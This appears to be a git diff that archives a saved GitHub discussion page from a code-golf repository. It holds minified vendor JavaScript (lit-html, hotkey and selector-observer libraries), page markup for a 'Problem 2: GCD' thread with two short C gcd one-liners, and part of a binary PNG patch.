i===-1?!1:(this.children=this.children.slice(0,i).concat(this.children.slice(i+1)),this.children.length===0&&this.parent.delete(this),!0)}add(n){return this.children.push(n),this}}c(x,"Leaf");class v{constructor(n){this.parent=null,this.children={},this.parent=n||null}get(n){return this.children[n]}insert(n){let i=this;for(let a=0;al.filter(s=>s!=="")).filter(l=>l.length>0)}c(f,"expandHotkeyToEdges");function g(e){const{ctrlKey:n,altKey:i,metaKey:a,key:l}=e,s=[],t=[n,i,a,h(e)];for(const[r,u]of t.entries())u&&s.push(y[r]);return y.includes(l)||s.push(l),s.join("+")}c(g,"hotkey");const y=["Control","Alt","Meta","Shift"];function h(e){const{shiftKey:n,code:i,key:a}=e;return n&&!(i.startsWith("Key")&&a.toUpperCase()===a)}c(h,"showShift");const p=new v,b=new WeakMap;let k=p,w=null,S=[];function P(){S=[],w=null,k=p}c(P,"resetTriePosition");function L(e){if(e.defaultPrevented||!(e.target instanceof Node))return;if(m(e.target)){const i=e.target;if(!i.id||!i.ownerDocument.querySelector(`[data-hotkey-scope="${i.id}"]`))return}w!=null&&window.clearTimeout(w),w=window.setTimeout(P,1500);const n=k.get(g(e));if(!n){P();return}if(S.push(g(e)),k=n,n instanceof x){const i=e.target;let a=!1,l;const s=m(i);for(let t=n.children.length-1;t>=0;t-=1){l=n.children[t];const r=l.getAttribute("data-hotkey-scope");if(!s&&!r||s&&i.id===r){a=!0;break}}l&&a&&(_(l,S),e.preventDefault()),P()}}c(L,"keyDownHandler");function N(e,n){Object.keys(p.children).length===0&&document.addEventListener("keydown",L);const a=f(n||e.getAttribute("data-hotkey")||"").map(l=>p.insert(l).add(e));b.set(e,a)}c(N,"install");function o(e){const n=b.get(e);if(n&&n.length)for(const i of n)i&&i.delete(e);Object.keys(p.children).length===0&&document.removeEventListener("keydown",L)}c(o,"uninstall")},15205:(F,T,E)=>{E.d(T,{Z:()=>v});function x(...m){return JSON.stringify(m,(_,f)=>typeof f=="object"?f:String(f))}c(x,"defaultHash");function v(m,_={}){const{hash:f=x,cache:g=new Map}=_;return function(...y){const h=f.apply(this,y);if(g.has(h))return g.get(h);let p=m.apply(this,y);return p instanceof Promise&&(p=p.catch(b=>{throw g.delete(h),b})),g.set(h,p),p}}c(v,"memoize")},69567:(F,T,E)=>{E.d(T,{sV:()=>g,GZ:()=>k,R:()=>l,AQ:()=>w,W_:()=>P,Al:()=>S,XK:()=>N});function*x(s){let t="",r=0,u=!1;for(let d=0;dtypeof u=="string"?u:u.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,r)}}}c(y,"AttributeValueSetter");var h=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},p=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},b;class k{constructor(t,r){this.expression=r,b.set(this,void 0),h(this,b,[t]),t.textContent=""}get value(){return p(this,b).map(t=>t.textContent).join("")}set value(t){this.replace(t)}get previousSibling(){return p(this,b)[0].previousSibling}get nextSibling(){return p(this,b)[p(this,b).length-1].nextSibling}replace(...t){const r=t.map(u=>typeof u=="string"?new Text(u):u);r.length||r.push(new Text("")),p(this,b)[0].before(...r);for(const u of p(this,b))u.remove();h(this,b,r)}}c(k,"NodeTemplatePart"),b=new WeakMap;function w(s){return{createCallback(t,r,u){this.processCallback(t,r,u)},processCallback(t,r,u){var d;if(!(typeof u!="object"||!u)){for(const C of r)if(C.expression in u){const j=(d=u[C.expression])!==null&&d!==void 0?d:"";s(C,j)}}}}}c(w,"createProcessor");function S(s,t){s.value=String(t)}c(S,"processPropertyIdentity");function P(s,t){return typeof t=="boolean"&&s instanceof g&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=t,!0):!1}c(P,"processBooleanAttribute");const L=w(S),N=w((s,t)=>{P(s,t)||S(s,t)});var o=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},e=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},n,i;function*a(s){const t=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let r;for(;r=t.nextNode();)if(r instanceof Element&&r.hasAttributes())for(let u=0;u{var O=Object.defineProperty;var p=(M,N)=>O(M,"name",{value:N,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_lit-html_lit-html_js"],{13695:(M,N,l)=>{l.d(N,{X:()=>v,w:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=new WeakMap,v=p(_=>(...c)=>{const h=_(...c);return a.set(h,!0),h},"directive"),u=p(_=>typeof _=="function"&&a.has(_),"isDirective")},66921:(M,N,l)=>{l.d(N,{V:()=>v,eC:()=>a,r4:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=window.customElements!==void 0&&window.customElements.polyfillWrapFlushCallback!==void 0,v=p((_,c,h=null,r=null)=>{for(;c!==h;){const d=c.nextSibling;_.insertBefore(c,r),c=d}},"reparentNodes"),u=p((_,c,h=null)=>{for(;c!==h;){const r=c.nextSibling;_.removeChild(c),c=r}},"removeNodes")},31301:(M,N,l)=>{l.d(N,{J:()=>a,L:()=>v});/** + * @license + * Copyright (c) 2018 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a={},v={}},28356:(M,N,l)=>{l.d(N,{JG:()=>x,K1:()=>E,QG:()=>f,_l:()=>g,m:()=>w,nt:()=>m,pt:()=>r});var a=l(13695),v=l(66921),u=l(31301),_=l(3122),c=l(89823),h=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const r=p(s=>s===null||!(typeof s=="object"||typeof s=="function"),"isPrimitive"),d=p(s=>Array.isArray(s)||!!(s&&s[Symbol.iterator]),"isIterable");class f{constructor(t,n,e){this.dirty=!0,this.element=t,this.name=n,this.strings=e,this.parts=[];for(let i=0;ithis.handleEvent(i)}setValue(t){this.__pendingValue=t}commit(){for(;(0,a.w)(this.__pendingValue);){const V=this.__pendingValue;this.__pendingValue=u.J,V(this)}if(this.__pendingValue===u.J)return;const t=this.__pendingValue,n=this.value,e=t==null||n!=null&&(t.capture!==n.capture||t.once!==n.once||t.passive!==n.passive),i=t!=null&&(n==null||e);e&&this.element.removeEventListener(this.eventName,this.__boundHandleEvent,this.__options),i&&(this.__options=o(t),this.element.addEventListener(this.eventName,this.__boundHandleEvent,this.__options)),this.value=t,this.__pendingValue=u.J}handleEvent(t){typeof this.value=="function"?this.value.call(this.eventContext||this.element,t):this.value.handleEvent(t)}}p(E,"EventPart");const o=p(s=>s&&(C?{capture:s.capture,passive:s.passive,once:s.once}:s.capture),"getOptions")},3122:(M,N,l)=>{l.d(N,{R:()=>u});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class u{constructor(c,h,r){this.__parts=[],this.template=c,this.processor=h,this.options=r}update(c){let h=0;for(const r of this.__parts)r!==void 0&&r.setValue(c[h]),h++;for(const r of this.__parts)r!==void 0&&r.commit()}_clone(){const c=a.eC?this.template.element.content.cloneNode(!0):document.importNode(this.template.element.content,!0),h=[],r=this.template.parts,d=document.createTreeWalker(c,133,null,!1);let f=0,g=0,m,x=d.nextNode();for(;f{l.d(N,{j:()=>_});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const u=` ${v.Jw} `;class _{constructor(r,d,f,g){this.strings=r,this.values=d,this.type=f,this.processor=g}getHTML(){const r=this.strings.length-1;let d="",f=!1;for(let g=0;g-1||f)&&m.indexOf("-->",x+1)===-1;const w=v.W5.exec(m);w===null?d+=m+(f?u:v.N):d+=m.substr(0,w.index)+w[1]+w[2]+v.$E+w[3]+v.Jw}return d+=this.strings[r],d}getTemplateElement(){const r=document.createElement("template");return r.innerHTML=this.getHTML(),r}}p(_,"TemplateResult");class c extends null{getHTML(){return`${super.getHTML()}`}getTemplateElement(){const r=super.getTemplateElement(),d=r.content,f=d.firstChild;return d.removeChild(f),reparentNodes(d,f.firstChild),r}}p(c,"SVGTemplateResult")},60560:(M,N,l)=>{l.d(N,{$E:()=>_,IW:()=>d,Jw:()=>a,N:()=>v,W5:()=>f,YS:()=>c,pC:()=>r});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=`{{lit-${String(Math.random()).slice(2)}}}`,v=``,u=new RegExp(`${a}|${v}`),_="$lit$";class c{constructor(m,x){this.parts=[],this.element=x;const w=[],A=[],C=document.createTreeWalker(x.content,133,null,!1);let E=0,o=-1,s=0;const{strings:t,values:{length:n}}=m;for(;s0;){const y=t[s],I=f.exec(y)[2],L=I.toLowerCase()+_,b=e.getAttribute(L);e.removeAttribute(L);const P=b.split(u);this.parts.push({type:"attribute",index:o,name:I,strings:P}),s+=P.length-1}}e.tagName==="TEMPLATE"&&(A.push(e),C.currentNode=e.content)}else if(e.nodeType===3){const i=e.data;if(i.indexOf(a)>=0){const V=e.parentNode,T=i.split(u),y=T.length-1;for(let I=0;I{const x=g.length-m.length;return x>=0&&g.slice(x)===m},"endsWith"),r=p(g=>g.index!==-1,"isTemplatePartActive"),d=p(()=>document.createComment(""),"createMarker"),f=/([ \x09\x0a\x0c\x0d])([^\0-\x1F\x7F-\x9F "'>=/]+)([ \x09\x0a\x0c\x0d]*=[ \x09\x0a\x0c\x0d]*(?:[^ \x09\x0a\x0c\x0d"'`<>=]*|"[^"]*|'[^']*))$/},36162:(M,N,l)=>{l.d(N,{_l:()=>a._l,nt:()=>a.nt,IW:()=>d.IW,XM:()=>c.X,dy:()=>A,r4:()=>h.r4,sY:()=>x,V:()=>h.V});var a=l(28356);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class v{handleAttributeExpressions(o,s,t,n){const e=s[0];return e==="."?new a.m(o,s.slice(1),t).parts:e==="@"?[new a.K1(o,s.slice(1),n.eventContext)]:e==="?"?[new a.JG(o,s.slice(1),t)]:new a.QG(o,s,t).parts}handleTextExpression(o){return new a.nt(o)}}p(v,"DefaultTemplateProcessor");const u=new v;var _=l(89823),c=l(13695),h=l(66921),r=l(31301),d=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */function f(E){let o=g.get(E.type);o===void 0&&(o={stringsArray:new WeakMap,keyString:new Map},g.set(E.type,o));let s=o.stringsArray.get(E.strings);if(s!==void 0)return s;const t=E.strings.join(d.Jw);return s=o.keyString.get(t),s===void 0&&(s=new d.YS(E,E.getTemplateElement()),o.keyString.set(t,s)),o.stringsArray.set(E.strings,s),s}p(f,"templateFactory");const g=new Map;/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,x=p((E,o,s)=>{let t=m.get(o);t===void 0&&((0,h.r4)(o,o.firstChild),m.set(o,t=new a.nt(Object.assign({templateFactory:f},s))),t.appendInto(o)),t.setValue(E),t.commit()},"render");var w=l(3122);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */(window.litHtmlVersions||(window.litHtmlVersions=[])).push("1.1.2");const A=p((E,...o)=>new _.j(E,o,"html",u),"html"),C=p((E,...o)=>new SVGTemplateResult(E,o,"svg",defaultTemplateProcessor),"svg")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_lit-html_lit-html_js-8058f8562b63.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js new file mode 100644 index 0000000..f50a716 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var ae=Object.defineProperty;var s=(V,D)=>ae(V,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_selector-observer_dist_index_esm_js"],{64463:(V,D,B)=>{B.d(D,{N7:()=>re});var w=B(8439),M=null,T=null,R=[];function P(e,t){var n=[];function i(){var l=n;n=[],t(l)}s(i,"processBatchQueue");function r(){for(var l=arguments.length,c=Array(l),x=0;x{B.d(D,{Z:()=>w});function w(){if(!(this instanceof w))return new w;this.size=0,this.uid=0,this.selectors=[],this.indexes=Object.create(this.indexes),this.activeIndexes=[]}s(w,"SelectorSet");var M=window.document.documentElement,T=M.matches||M.webkitMatchesSelector||M.mozMatchesSelector||M.oMatchesSelector||M.msMatchesSelector;w.prototype.matchesSelector=function(a,u){return T.call(a,u)},w.prototype.querySelectorAll=function(a,u){return u.querySelectorAll(a)},w.prototype.indexes=[];var R=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"ID",selector:s(function(u){var o;if(o=u.match(R))return o[0].slice(1)},"matchIdSelector"),element:s(function(u){if(u.id)return[u.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"CLASS",selector:s(function(u){var o;if(o=u.match(P))return o[0].slice(1)},"matchClassSelector"),element:s(function(u){var o=u.className;if(o){if(typeof o=="string")return o.split(/\s/);if(typeof o=="object"&&"baseVal"in o)return o.baseVal.split(/\s/)}},"getElementClassNames")});var N=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"TAG",selector:s(function(u){var o;if(o=u.match(N))return o[0].toUpperCase()},"matchTagSelector"),element:s(function(u){return[u.nodeName.toUpperCase()]},"getElementTagName")}),w.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var L;typeof window.Map=="function"?L=window.Map:L=function(){function a(){this.map={}}return s(a,"Map"),a.prototype.get=function(u){return this.map[u+" "]},a.prototype.set=function(u,o){this.map[u+" "]=o},a}();var F=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function E(a,u){a=a.slice(0).concat(a.default);var o=a.length,d,f,p,m,y=u,h,g,v=[];do if(F.exec(""),(p=F.exec(y))&&(y=p[3],p[2]||!y)){for(d=0;d + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Problem 2: GCD · Discussion #12 · Ta180m/Idiot-Code-Golf + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + + + + + + + + + + + + + +
    + +
    + + + + + + + +
    + + + +
    + + + + + + + + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + Ta180m  /   + Idiot-Code-Golf  /   + Discussions #12  /   + +
    +
    + + + +
    + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + +
    + + + + + + + + + + +
    + + +
    +
    +
    + + + + + + + + + + + + +
    + +
    + +
    +
    + + + / + + Idiot-Code-Golf + + + Public +
    + +
    + +
      + +
    • +
      +
      +
      +
    • + + +
    • + +
      + + + + + Unwatch + + + + + 1 + + + + +
      +
      +

      Notifications

      + +
      + +
      +
      + + + + + + + + + + + +
      + + + + + Get push notifications on iOS or Android. + +
      +
      +
      +
      + + + + +
      +
      +
      + + + +
    • + +
    • + Fork + 0 + + +
    • + +
    • + + +
      +
      + + + +
      + + +
      + + + + +
      + +
      +
      + + + + + + + +
      + +
      +
      +
      +
      +
      +
    • + + + +
    + +
    + +
    +
    + + + + +
    + + + + +
    + + + + + + +
    + + +
    + +
    + +
    +
    + +
    +
    +
    +

    + + Problem 2: GCD + + #12 +

    +
    + Unanswered +
    + + Ta180m + + + asked this question in + Q&A +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + Problem 2: GCD + + #12 +
    +
    +
    + + +
    + on Apr 30, 2021 + · + 1 answer +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 30, 2021 + + +
    + + + Maintainer + + + +
    + + +

    +
    +
    + + +
    +
    + + + + +
    + + + + + +
    +

    The greatest common divisor is a common number theory operation.

    +

    Here's a few implementations to give you some ideas:

    +
    int gcd(int a,int b){while(b)b^=a^=b^=a%=b;return a;}
    +int gcd(int a,int b){while(a&&b)a>b?a%=b:b%=a;return a+b;}
    +
    + + + + +
    +
    + + + +
    + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + + +
    +
    +
    +
    + + + + + + + + + + + +

    Replies

    + +
    +
    +
    +
    + 1 suggested answer +
    + +
    + + +
    + + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 30, 2021 + + +
    + + + Maintainer + + + + Author + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    https://github.com/Ta180m/Idiot-Code-Golf/blob/main/gcd/gcd.cpp

    +

    Euclidean algorithm except modulos are computed using trig functions!

    +
    + +
    + +
    + +
    +
    + + + + + +
    + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + 0 replies + +
    +
    + +
    + +
    +
    +
    +
    + +
    + + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + + +
    +
    +
    + +
    + + + + + + +
    + +
    +
    + +
    + + +
    +
    + + +
    + +
    + +
    + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + +
    + + + + + +
    + Select a reply + ctrl . +
    + + + + + + + + +
    +
    + + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + + + + +
    + + + + + + + + + +
    +
    + + + + +
    + + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + Remember, contributions to this repository should follow + our + GitHub Community Guidelines. +
    + +
    + +
    + + + +
    + +
    +
    +
    +
    + + + Category + + +
    +
    + Change category + +
    + + + + + + +
    +
    +
    + + + + Q&A + +
    + +
    +
    + +
    + +
    + + + + Labels + + + + +
    +
    + +
    +
    + + + +
    + +
    + +
    + None yet +
    + +
    + + +
    +
    +
    + 1 participant +
    +
    + + @Ta180m +
    +
    +
    + + + + + + +
      +
    • +
      + + + Lock conversation + + +
      +
      + +

      + Lock conversation on this discussion +

      +
      +
      +
        +
      • Other users can’t add new comments to this discussion.
      • +
      • + You and other collaborators + with access + to this repository can still leave comments that others can see. +
      • +
      • You can always unlock this discussion again in the future.
      • +
      +
      + +
      +
      +
    • + +
    • +
      +
      + + + Transfer discussion + + + + + + + + + + +
      +
    • + + +
    • +
      + + + + Pin discussion + + + +
      + +

      + Configure pinned discussion +

      +
      + +
      +
      +

      + +

      + + + + + +
      + + + +
      +
      +
      +
      + +
      + + + + + +
      +
      +
      + +
      + + + + + + +
      +
      +
      +

      Up to 4 discussions can be pinned and they will appear publicly at the top of the discussions page.

      +
      + + +
      + +
      +
      +
      +
      +
    • + + +
    • + + Create issue from discussion + +
    • + + +
    • + +
      + +
      +
      +
      +

      Delete discussion?

      +
      +
      + +
      +
      +
      +
      +
      +

      The discussion will be deleted permanently. You will not be able to restore the discussion or its comments

      +
      +
      +
      + + +
      +
      +
    • +
    + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f389.png b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f389.png new file mode 100644 index 0000000000000000000000000000000000000000..5a6d5af253d46865f27d4bf5bc728074398332ea GIT binary patch literal 3258 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f440.png b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f440.png new file mode 